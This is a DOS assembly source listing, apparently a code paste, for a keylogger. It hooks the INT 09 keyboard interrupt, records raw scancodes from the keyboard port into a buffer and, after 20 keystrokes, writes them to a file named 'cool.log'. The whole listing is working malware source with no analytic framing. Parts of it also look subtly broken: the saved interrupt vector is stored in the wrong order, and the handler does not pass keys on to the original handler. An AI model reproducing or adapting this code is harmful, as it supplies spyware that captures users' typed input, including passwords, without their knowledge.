| 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394 |
- .model small
- .code
- org 100h
- start:
- mov ax, 3509h ; Get old INT 09 vector
- int 21h
- mov word ptr cs:[old0x9], es
- mov word ptr cs:[old0x9+2], bx
- mov ax, 2509h ; Set our new INT 09 handler
- push cs
- pop ds
- mov dx, offset NEWINT09
- int 21h
-
- loop1:
- mov cx, 0FFFFh
- loop2: loop loop2
- cmp count, 20
- jb loop1
- ; Restore old interrupt vector
- mov ax, 2509h; INT09
- lds dx, old0x9
- int 21h
- push cs
- pop ds
- ; Write our keys to file
- mov ah, 3ch
- mov cx, 0
- mov dx, offset coolF
- int 21h ; Open log file
- jc ERROR
- mov bx, ax ; save file handle
- mov ah, 40h ; write
- mov cx, count ; all bytes
- mov dx, offset coolbuf ; data
- int 21h ; Write data to file
- mov ah, 3eh ; Close
- int 21h
- jmp NOERROR
- txt db 'Fuck, error creating file!$'
- ERROR:
- mov ah, 09h
- mov dx, offset txt
- int 21h
-
- NOERROR:
- mov ax, 4C00h
- int 21h ; Terminate
- ; Our cool int09 handler
- NEWINT09:
- push ax
- push bx
- ; get key
- ;GETK:
- in al, 60h
- mov bx, offset coolbuf
- add bx, word ptr cs:[count]
- mov cs:[bx], al
- inc count
- ; cmp al, 0E0h
- ; je GETK
- in al, 61h ; Get value of keyboard control lines
- mov ah, al ; save it
- or al, 80h ; set the "enable kbt" bit
- out 61h, al ; and write it out the contorl port
- xchg ah, al ; fetch the original value
- out 61h, al ; and write it back
- cli
- mov al, 20h ; Send End-Of-Interrupt signal
- out 20h, al ; to the 8259 Interrupt Controller
- sti
- pop bx
- pop ax
- iret
- ;------------------------------------
- old0x9 dd 0
- count dw 0
- coolF db 'cool.log',0
- coolBuf db 200 dup (?)
- end start
|